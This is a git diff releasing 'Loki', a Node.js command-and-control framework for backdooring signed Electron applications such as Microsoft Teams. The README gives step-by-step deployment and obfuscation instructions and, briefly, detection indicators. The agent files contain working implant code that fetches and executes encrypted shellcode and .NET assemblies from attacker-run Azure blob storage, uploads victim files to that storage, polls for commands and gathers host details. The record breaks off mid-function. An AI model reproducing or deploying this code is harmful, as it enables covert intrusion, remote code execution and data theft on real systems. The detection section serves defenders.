Public release
@@ -0,0 +1,13 @@
|
||||
node_modules/
|
||||
client/node_modules/
|
||||
agent/node_modules/
|
||||
client/dist/
|
||||
client/log/
|
||||
client/downloads/
|
||||
agent/dist/
|
||||
agent/config.js
|
||||
client/config.js
|
||||
.DS_Store
|
||||
package-lock.json
|
||||
package.json
|
||||
agentOut/
|
||||
@@ -1,2 +1,154 @@
|
||||
# Loki
|
||||
🧙♂️ Node JS C2 for backdooring vulnerable Electron applications
|
||||
# 🧙♂️ Loki Command & Control
|
||||
Stage 1 C2 for backdooring Electron applications to bypass application controls. This technique abuses the trust of signed vulnerable Electron applications to gain execution on a target system.
|
||||
|
||||

|
||||
|
||||
## 🚀 Contributors
|
||||
|
||||
| Name | Contributions |
|
||||
|---------------------|-------------------------------|
|
||||
| [Bobby Cooke](https://x.com/0xBoku) | Creator |
|
||||
| [Dylan Tran](https://x.com/d_tranman) | Co-Creator |
|
||||
| [Ellis Springe](https://x.com/knavesec)| Alpha Tester |
|
||||
|
||||
## 🪄 Description
|
||||
At runtime, an Electron application reads JavaScript files, interprets their code and executes them within the Electron process. The animation below demonstrates how the Microsoft Teams Electron application reads a JavaScript file at runtime, which then uses the Node.JS `child_process` module to execute `whoami.exe`.
|
||||
|
||||

|
||||
|
||||
Since Electron applications execute JavaScript at runtime, modifying these JavaScript files allows attackers to inject arbitrary Node.js code into the Electron process. By leveraging Node.js and Chromium APIs, JavaScript code can interact with the operating system.
|
||||
|
||||
Loki was designed to backdoor Electron applications by replacing the applications JavaScript files with the Loki Command & Control JavaScript files.
|
||||
|
||||
For more information see my blog post about backdooring Electron applications with Loki C2:
|
||||
|
||||
- [Bypassing Windows Defender Application Control with Loki C2](https://www.ibm.com/think/x-force/bypassing-windows-defender-application-control-loki-c2)
|
||||
|
||||
## Features & Details
|
||||
### Details
|
||||
- Teamserver-less, unlike traditional C2's where agents send messages to a Teamserver, there is no Teamserver.
|
||||
- The GUI Client & Agents both check the same online data-store for new commands and output.
|
||||
- Uses Azure Storage Blobs for C2 channel.
|
||||
- Uses SAS Token to protect C2 storage account.
|
||||
|
||||
### Agent Features
|
||||
[For more information on Agent features click here](docs/features/agent.md)
|
||||
|
||||
### Client Features
|
||||
[For more information on Client features click here](docs/features/client.md)
|
||||
|
||||
## 🧙♂️ Deploy Illusions
|
||||
First you need to identify a vulnerable Electron application which does not do ASAR security integrity checks such as `Microsoft Teams`. Newer applications may have integrity checks preventing backdooring. Older versions of the target app are more likely to be vulnerable.
|
||||
|
||||
- [Guide for Discovering Vulnerable Electron Apps](docs/vulnhunt/electronapps.md)
|
||||
|
||||
| Vulnerable | App Name | EXE Name | Version |
|
||||
|------------|--------------|---------------|---------|
|
||||
| ✅ | Microsoft Teams | `Teams.exe` | v1.7.00.13456|
|
||||
| ✅ | VS Code | `code.exe` | |
|
||||
| ✅ | Github Desktop | `GithubDesktop.exe` | |
|
||||
| ❌ | 1Password | `1Password.exe` | |
|
||||
| ❌ | Signal | `Signal.exe` | |
|
||||
| ❌ | Slack | `slack.exe` | |
|
||||
|
||||
### Simple Instructions
|
||||
__When backdooring an Electron app with Loki C2 code you don't need to compile the agent. You just replace the contents of `/resources/app/` with the agent JavaScript files.__
|
||||
|
||||
### Detailed Instructions
|
||||
#### Step 1 : Create Azure Storage Blob Account and get SAS Token
|
||||
- [Create Azure Storage Account via Azure Portal](./docs/azure/create-storage-account-portal.md)
|
||||
- [Create Azure Storage Account via Azure CLI](./docs/azure/create-storage-account-sas-azurecli.md)
|
||||
#### Step 2 : Create Obfuscated Loki Payload
|
||||
- Clone this repo and `cd` into it
|
||||
- Install Node.JS
|
||||
- Install Node.JS `javascript-obfuscator` module
|
||||
```
|
||||
npm install --save-dev javascript-obfuscator
|
||||
```
|
||||
- Run `obfuscateAgent.js` script to create a Loki payload with your Storage Account info
|
||||
```
|
||||
bobby$ node obfuscateAgent.js
|
||||
[+] Provide Azure storage account information:
|
||||
- Enter Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
|
||||
- Enter SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
|
||||
|
||||
[+] Configuration:
|
||||
- Storage Account : 7f7584ty218ba5dba778.blob.core.windows.net
|
||||
- SAS Token : se=2025-05-28T23%3A14%3A48Z&sp=rwdlac&spr=https&sv=2022-11-02&ss=b&srt=sco&sig=5MXQzJ6FDZK8yYiBSgJ6FDZKgQzJMXBSgg6qE4ydrJ6FDZKSgg%3D
|
||||
- Meta Container : mllyi2zjmafjm
|
||||
|
||||
[+] Updated /Users/bobby/apr2/LokiC2/config.js with storage configuration.
|
||||
- Enter into the Loki Client UI
|
||||
Loki Client > Configuration
|
||||
|
||||
[+] Modifying PE binaries to have new hashes...
|
||||
- Payload assembly.node hash : e9d126407264821d3c2d324da0e2d1bc13cbc53e7c56340fe12b07f69b707f02
|
||||
- Payload keytar.node hash : 292c14ffebd6cae3df99d9fbee525e29a5a704f076b82207eb3e650de45b075d
|
||||
|
||||
[+] Payload ready!
|
||||
- Obfuscated payload in the ./app directory
|
||||
```
|
||||
#### Step 3 : Backdoor Electron Application
|
||||
- Your obfuscated Loki payload is output to `./app/`
|
||||
- Change directory to root of your Electron application
|
||||
- Change directory to the `{ELECTRONAPP}/resources/` directory
|
||||
- Delete everything
|
||||
- Copy the Loki `./app/` folder to `{ELECTRONAPP}/resources/app/`
|
||||
- Click the Electron PE file and make sure Loki works
|
||||
|
||||
#### Step 4 : Configure Loki Client
|
||||
- Launch the Loki GUI client
|
||||
- From the menubar click `Loki Client > Configuration` to open the Settings window
|
||||
- Enter in your Storage Account details and click `Save`
|
||||

|
||||
- The agent should now render in the dashboard
|
||||
- Click the agent from the dashboard table to open the agent window
|
||||
- Test to ensure Loki works properly
|
||||
|
||||
## Opsec Recommendations
|
||||
- [Opsec Recommendations](docs/opsec/recommendations.md)
|
||||
|
||||
## Compilation Guides
|
||||
These are the compile instructions for building the agents & clients. The instructions cover multiple platforms, including Windows, Linux, and macOS. It is recommended to compile the client on the target platform and architecture.
|
||||
|
||||
### Client
|
||||
- [Windows](./docs/compile/client/windows.md)
|
||||
- [macOS](./docs/compile/client/macos.md)
|
||||
|
||||
### Agents
|
||||
**If you are backdooring an Electron application then you don't need to compile agents.**
|
||||
|
||||
I do not recommend compiling the agent and using it for operations. Agent compile instructions are for development.
|
||||
|
||||
- [Windows](./docs/compile/agent/windows.md)
|
||||
- [Linux](./docs/compile/agent/linux.md)
|
||||
- [macOS](./docs/compile/agent/macos.md)
|
||||
|
||||
## Detection Guidance
|
||||
- Review the information provided by MITRE for more details, examples, and information about Electron backdooring TTP : [MITRE ATT&CK
|
||||
T1218.015: Electron Applications](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- Execution of an electron app from a abnormal directory such as `~/Downloads/Teams/Teams.exe`
|
||||
- Electron apps beaconing to an Azure Storage Blob `*.blob.core.windows.net`
|
||||
- SAS token usage in network traffic
|
||||
- Electron apps spawning child processes such as `netstat.exe` or `whoami.exe`
|
||||
- A directory with the name in the Loki `packages.json` will be created in `~/AppData/Roaming/{NAME}` will be created when the Loki JavaScript executes in the Electron process.
|
||||
- This [LOLBAS Teams](https://lolbas-project.github.io/lolbas/OtherMSBinaries/Teams/) entry covers detections for Electron application backdooring. The detection information has been copied below.
|
||||
- IOC: `%LOCALAPPDATA%\Microsoft\Teams\current\app` directory created
|
||||
- IOC: `%LOCALAPPDATA%\Microsoft\Teams\current\app.asar` file created/modified by non-Teams installer/updater
|
||||
|
||||
# References & Acknowledgements
|
||||
- [Dylan Tran (@d_tranman)](https://x.com/d_tranman)
|
||||
- Cocreator of the Loki agent. Created node modules for shellcode and assembly execution.
|
||||
- [Valentina Palmiotti (@chompie1337)](https://x.com/chompie1337), [Ellis Springe (@knavesec)](https://x.com/knavesec), and [Ruben Boonen](https://x.com/FuzzySec) for their previous internel work on backdooring Electron applications for persistence
|
||||
- [Ruben Boonen](https://x.com/FuzzySec)
|
||||
- [ Wild West Hackin’ Fest talk Statikk Shiv: Leveraging Electron Applications for Post-Exploitation](https://www.youtube.com/watch?v=VXb6lwXhCAc)
|
||||
- Andrew Kisliakov
|
||||
- [Microsoft Teams and other Electron Apps as LOLbins](https://l--k.uk/2022/01/16/microsoft-teams-and-other-electron-apps-as-lolbins/)
|
||||
- [mr.d0x (@mrd0x)](https://twitter.com/@mrd0x)
|
||||
- Michael Taggart
|
||||
- [quASAR project, a tool designed for modifying Electron applications to enable command execution](https://github.com/mttaggart/quasar)
|
||||
- [Quasar: Compromising Electron Apps](https://taggart-tech.com/quasar-electron/)
|
||||
|
||||
## License
|
||||
This project is licensed under the Business Source License 1.1. Non-commercial use is permitted under the terms of the license. Commercial use requires the author's explicit permission. On April 3, 2030, this license will convert to Apache 2.0. See [LICENSE](./LICENSE) for full details.
|
||||
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
node_modules/
|
||||
dist/
|
||||
config.js
|
||||
.DS_Store
|
||||
@@ -0,0 +1,62 @@
|
||||
const {generateUUID,generateAESKey} = require('./crypt.js');
|
||||
class Window {
|
||||
constructor() {
|
||||
this.BrowserWindow = null;
|
||||
}
|
||||
setBrowserWindow(BrowserWindow) {
|
||||
this.BrowserWindow = BrowserWindow;
|
||||
}
|
||||
}
|
||||
class Container
|
||||
{
|
||||
constructor()
|
||||
{
|
||||
this.name = 's'+generateUUID(10);
|
||||
this.key = generateAESKey();
|
||||
this.blobs = {
|
||||
'key': 'k-'+generateUUID(10),
|
||||
'checkin': 'c-'+generateUUID(10),
|
||||
'in': 'i-'+generateUUID(10),
|
||||
'out': 'o-'+generateUUID(10)
|
||||
};
|
||||
}
|
||||
setName(name) {
|
||||
this.name = name;
|
||||
}
|
||||
setKey(key) {
|
||||
this.key = {
|
||||
'key' : key.key,
|
||||
'iv' : key.iv
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
class Agent
|
||||
{
|
||||
constructor(windowid, status = null)
|
||||
{
|
||||
this.window = new Window(windowid, status);
|
||||
this.agentid = 'a'+generateUUID(16);
|
||||
this.container = new Container();
|
||||
this.checkin = Date.now();
|
||||
this.sleepinterval = 5;
|
||||
this.sleepjitter = 15;
|
||||
this.thissleep = 5000;
|
||||
}
|
||||
setAgentId(agentid) {
|
||||
this.agentid = agentid;
|
||||
}
|
||||
setContainer(container) {
|
||||
this.container = container;
|
||||
}
|
||||
// Method to replace the window
|
||||
setWindow(window) {
|
||||
this.window = window;
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
Agent,
|
||||
Window,
|
||||
Container
|
||||
};
|
||||
@@ -0,0 +1,10 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>My Electron App</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, Electron!</h1>
|
||||
<script src="assembly.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,101 @@
|
||||
const config = require('./config.js');
|
||||
const storageAccount = config.storageAccount;
|
||||
const sasToken = config.sasToken;
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
const {func_Decrypt} = require('./crypt.js');
|
||||
const {func_Split_Quoted_String} = require('./common.js');
|
||||
let dbg = true;
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('assembly', async (event, container, args, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
|
||||
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
|
||||
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`assembly.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
|
||||
let x = require(assemblyNodePath);
|
||||
const argv = await func_Split_Quoted_String(args);
|
||||
let aoutput = x.execute_assembly(raw, argv);
|
||||
return aoutput;
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('nodeload', async (event,nodepath) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-node-load`);
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-node-load : ${error}`);
|
||||
}
|
||||
});
|
||||
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`assembly.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
|
||||
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-scexec','executed',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-scexec : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`assembly.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let scexecNodePath = await ipcRenderer.invoke('get-global-path', 'scexecNodePath');
|
||||
func_log(`scexecNodePath : ${scexecNodePath}`);
|
||||
const native = require(scexecNodePath);
|
||||
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
|
||||
}
|
||||
}
|
||||
|
After Width: | Height: | Size: 319 KiB |
|
After Width: | Height: | Size: 336 KiB |
|
After Width: | Height: | Size: 46 KiB |
@@ -0,0 +1,10 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>My Electron App</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Hello, Electron!</h1>
|
||||
<script src="browser.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,528 @@
|
||||
const config = require('./config.js');
|
||||
const storageAccount = config.storageAccount;
|
||||
const sasToken = config.sasToken;
|
||||
const { ipcRenderer } = require('electron');
|
||||
const { log } = require('console');
|
||||
const {func_Encrypt,func_Decrypt,func_Base64_Encode} = require('./crypt.js');
|
||||
const os = require('os');
|
||||
const fsp = require('fs').promises;
|
||||
const {func_Split_Quoted_String} = require('./common.js');
|
||||
let dbg = false;
|
||||
|
||||
function func_log(text)
|
||||
{
|
||||
if(dbg)
|
||||
{
|
||||
log(text);
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Web_Request(options, data = null, isBytes=false) {
|
||||
|
||||
// Set headers to prevent caching
|
||||
options['headers'] = {
|
||||
'Cache-Control': 'no-cache, no-store, must-revalidate',
|
||||
'Pragma': 'no-cache',
|
||||
'Expires': '0',
|
||||
...options['headers']
|
||||
};
|
||||
let url = `https://${options['hostname']}:${options['port']}${options['path']}`;
|
||||
let response = new Response();
|
||||
let r_data;
|
||||
try {
|
||||
if ( data ) {
|
||||
if ( data.length > 20000 ) {
|
||||
} else {
|
||||
}
|
||||
options['body'] = data;
|
||||
}
|
||||
response = await fetch(url, options);
|
||||
|
||||
if (!isBytes) {
|
||||
r_data = await response.text();
|
||||
} else {
|
||||
r_data = await response.arrayBuffer();
|
||||
}
|
||||
return {'status':response.status,'data':r_data};
|
||||
} catch (error) {
|
||||
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-assembly', async (event, container, args, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-assembly | ${container} ${scexecblob}`);
|
||||
let assemblyoutput = await func_Azure_Assembly_Download_Exec(container,scexecblob,key,iv,args);
|
||||
ipcRenderer.send('end-file-op','do-assembly',assemblyoutput,key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_Assembly_Download_Exec(containerName, scexecblob, key,iv,args)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`browser.js | func_Azure_Assembly_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let assemblyNodePath = await ipcRenderer.invoke('get-global-path', 'assemblyNodePath');
|
||||
let x = require(assemblyNodePath);
|
||||
const argv = await func_Split_Quoted_String(args);
|
||||
let aoutput = x.execute_assembly(raw, argv);
|
||||
return aoutput;
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-node-load', async (event,nodepath) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-node-load`);
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-node-load : ${error}`);
|
||||
}
|
||||
});
|
||||
ipcRenderer.on('scexec', async (event, container, scexecblob, key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-scexec | ${container} ${scexecblob}`);
|
||||
await func_Azure_File_Download_Exec(container,scexecblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-scexec','did sc',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-scexec : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download_Exec(containerName, scexecblob, key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${scexecblob}?${sasToken}`;
|
||||
func_log(`browser.js | func_Azure_File_Download_Exec | key : ${key} | iv : ${iv}`);
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
let scExecNodePath = await ipcRenderer.invoke('get-global-path', 'scExecNodePath');
|
||||
func_log('scExecNodePath:', scExecNodePath);
|
||||
|
||||
const native = require(scExecNodePath);
|
||||
func_log(`func_Azure_File_Download_Exec result : ${native.run_array(Array.from(raw))}`);
|
||||
}
|
||||
}
|
||||
ipcRenderer.on('do-launch', async (event,nodepath,delay) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-launch`);
|
||||
await new Promise(resolve => setTimeout(resolve, delay));
|
||||
require(nodepath);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-assembly : ${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('do-pull-file', async (event, container, downloadblob, dstpath,key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-pull-file | ${container} ${downloadblob} ${dstpath}`);
|
||||
await func_Azure_File_Download(container,downloadblob,dstpath,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-pull-file','pulled file',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-pull-file : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_Azure_File_Download(containerName, downloadblob, dstpath,key,iv)
|
||||
{
|
||||
// Construct the URL
|
||||
let output = "";
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${downloadblob}?${sasToken}`;
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
func_log(`browser.js | func_Azure_File_Download | key : ${key} | iv : ${iv}`);
|
||||
|
||||
//await new Promise(resolve => setTimeout(resolve, 5000));
|
||||
let response = await fetch(sasUrl);
|
||||
if (!response.ok) {
|
||||
output = `Couldn't download file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}else
|
||||
{
|
||||
func_log(`response.ok : ${response.ok}`);
|
||||
let arrayBuffer = await response.arrayBuffer();
|
||||
buffer = Buffer.from(arrayBuffer);
|
||||
raw = await func_Decrypt( buffer, key, iv );
|
||||
await fsp.writeFile(dstpath, raw, (err) => {
|
||||
output = `Error writing file: ${err.stack}`;
|
||||
func_log( output );
|
||||
return output;
|
||||
});
|
||||
output = `File ${dstpath} has been saved`;
|
||||
func_log( output );
|
||||
return output;
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('do-push-file', async (event, container, srcpath, uploadblob,key,iv) => {
|
||||
try
|
||||
{
|
||||
func_log(`browser.js | Hit IPC do-push-file | ${container} ${srcpath} ${uploadblob}`);
|
||||
await func_Azure_Upload_File(container,srcpath,uploadblob,key,iv);
|
||||
ipcRenderer.send('end-file-op','do-push-file','pushedfile',key,iv);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in IPC do-push-file : ${error}`);
|
||||
}
|
||||
});
|
||||
async function func_File_Read_ToBuffer(filePath) {
|
||||
try {
|
||||
// Read the file as a binary buffer
|
||||
const fileBuffer = await fsp.readFile(filePath);
|
||||
return fileBuffer;
|
||||
} catch (error) {
|
||||
func_log(`Error reading file: ${error}`);
|
||||
return "";
|
||||
}
|
||||
}
|
||||
async function func_Azure_Upload_File(containerName, srcpath, uploadblob,key,iv)
|
||||
{
|
||||
try {
|
||||
// Read the file content
|
||||
key = Buffer.from(key, 'hex');
|
||||
iv = Buffer.from(iv, 'hex');
|
||||
|
||||
func_log(`browser.js | func_Azure_Upload_File() hit`);
|
||||
let bufferfile = await func_File_Read_ToBuffer(srcpath);
|
||||
let enc = await func_Encrypt( bufferfile, key, iv );
|
||||
const sasUrl = `https://${storageAccount}/${containerName}/${uploadblob}?${sasToken}`;
|
||||
|
||||
const response = await fetch(sasUrl, {
|
||||
port: 443,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-blob-type': 'BlockBlob',
|
||||
'Content-Type': 'application/octet-stream'
|
||||
},
|
||||
body: enc
|
||||
});
|
||||
if (response.status != 201) {
|
||||
output = `Couldnt upload file, response: ${response.status}`;
|
||||
func_log( output );
|
||||
}else
|
||||
{
|
||||
output = `Successfully uploaded file ${srcpath} to https://${storageAccount}/${containerName}/${uploadblob} blob`;
|
||||
func_log(output);
|
||||
}
|
||||
} catch (error) {
|
||||
output = `Error uploading file ${srcpath} to azure : ${error.stack}`;
|
||||
func_log( output );
|
||||
}
|
||||
}
|
||||
|
||||
async function func_Container_Create(StorageContainer)
|
||||
{
|
||||
let options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}?restype=container&${sasToken}`,
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'Content-Length': 0
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options);
|
||||
}
|
||||
|
||||
async function func_Blob_Create(StorageContainer,StorageBlob,data)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ( data == null)
|
||||
{
|
||||
data = "";
|
||||
}
|
||||
data = data.toString();
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'x-ms-blob-type': 'BlockBlob', // Blob type
|
||||
'Content-Type': 'text/plain', // Set appropriate content type
|
||||
'Content-Length': Buffer.byteLength(data) // Length of the data
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options,data);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in func_Blob_Create() : ${error}`);
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
// Function to read a blob's contents
|
||||
async function func_Blob_Read(StorageContainer, StorageBlob)
|
||||
{
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`,
|
||||
method: 'GET',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10',
|
||||
'x-ms-date': new Date().toUTCString()
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options);
|
||||
}
|
||||
|
||||
async function func_Blob_Write(StorageContainer,StorageBlob,data)
|
||||
{
|
||||
try
|
||||
{
|
||||
if ( data == null)
|
||||
{
|
||||
data = "";
|
||||
}
|
||||
data = data.toString();
|
||||
const options = {
|
||||
hostname: storageAccount,
|
||||
port: 443,
|
||||
path: `/${StorageContainer}/${StorageBlob}?${sasToken}`, // Path with SAS token and blob parameters
|
||||
method: 'PUT',
|
||||
headers: {
|
||||
'x-ms-version': '2020-02-10', // The version of the Azure Blob Storage API to use
|
||||
'x-ms-date': new Date().toUTCString(), // The current date and time in UTC format
|
||||
'x-ms-blob-type': 'BlockBlob', // Blob type
|
||||
'Content-Type': 'text/plain', // Set appropriate content type
|
||||
'Content-Length': Buffer.byteLength(data) // Length of the data
|
||||
}
|
||||
};
|
||||
return await func_Web_Request(options,data);
|
||||
}catch(error)
|
||||
{
|
||||
return error;
|
||||
}
|
||||
}
|
||||
|
||||
ipcRenderer.on('send-output', async (event, container, outblob, output) => {
|
||||
try
|
||||
{
|
||||
await func_Blob_Write(container,outblob,output);
|
||||
}catch(error)
|
||||
{
|
||||
func_log(`Error in send-output() : ${error}`);
|
||||
return error;
|
||||
}
|
||||
});
|
||||
|
||||
ipcRenderer.on('input-read', async (event, container, inblob) => {
|
||||
try
|
||||
{
|
||||
let updateresp;
|
||||
let response = await func_Blob_Read(container,inblob);
|
||||
let checkin = Date.now();
|
||||
if (response.status === 200)
|
||||
{
|
||||
const numberValue = Number(response.data);
|
||||
if (!isNaN(numberValue))
|
||||
{
|
||||
updateresp = await func_Blob_Write(container,inblob,checkin);
|
||||
} else
|
||||
{
|
||||
if (response.data)
|
||||
{
|
||||
ipcRenderer.send('do-command',response.data);
|
||||
updateresp = await func_Blob_Write(container,inblob,checkin);
|
||||
}
|
||||
}
|
||||
if(typeof updateresp.status != 'undefined')
|
||||
{
|
||||
if (updateresp.status === 201)
|
||||
{
|
||||
ipcRenderer.send('poll-complete',checkin,inblob);
|
||||
}
|
||||
}
|
||||
}else
|
||||
{
|
||||
ipcRenderer.send('containers-created',false);
|
||||
}
|
||||
}catch (error) {
|
||||
func_log(`${error} ${error.stack}`);
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
async function getSystemInfo() {
|
||||
try
|
||||
{
|
||||
// Collect system information
|
||||
// let hostname = process.env[ 'USERDOMAIN' ];
|
||||
// if ( typeof hostname === 'undefined' ) {
|
||||
// hostname = "";
|
||||
// } else if ( hostname == os.hostname() ) {
|
||||
// hostname = "WORKSTATION";
|
||||
// }
|
||||
// else {
|
||||
// hostname = "UNKNOWN";
|
||||
// }
|
||||
// hostname += '/' + os.hostname();
|
||||
let hostname = os.hostname();
|
||||
|
||||
const username = os.userInfo().username;
|
||||
const osType = os.type();
|
||||
const osRelease = os.release();
|
||||
const platform = os.platform();
|
||||
const arch = os.arch();
|
||||
|
||||
const PID = process.pid;
|
||||
let procName = process.argv[ 0 ];
|
||||
procName = procName.trim().replace(/Helper \(Renderer\)/g, "").trim();
|
||||
func_log(`procName: ${procName}`);
|
||||
const nets = os.networkInterfaces();
|
||||
const IpInfo = []
|
||||
for (const name of Object.keys(nets)) {
|
||||
for (const net of nets[name]) {
|
||||
// 'IPv4' is in Node <= 17, from 18 it's a number 4 or 6
|
||||
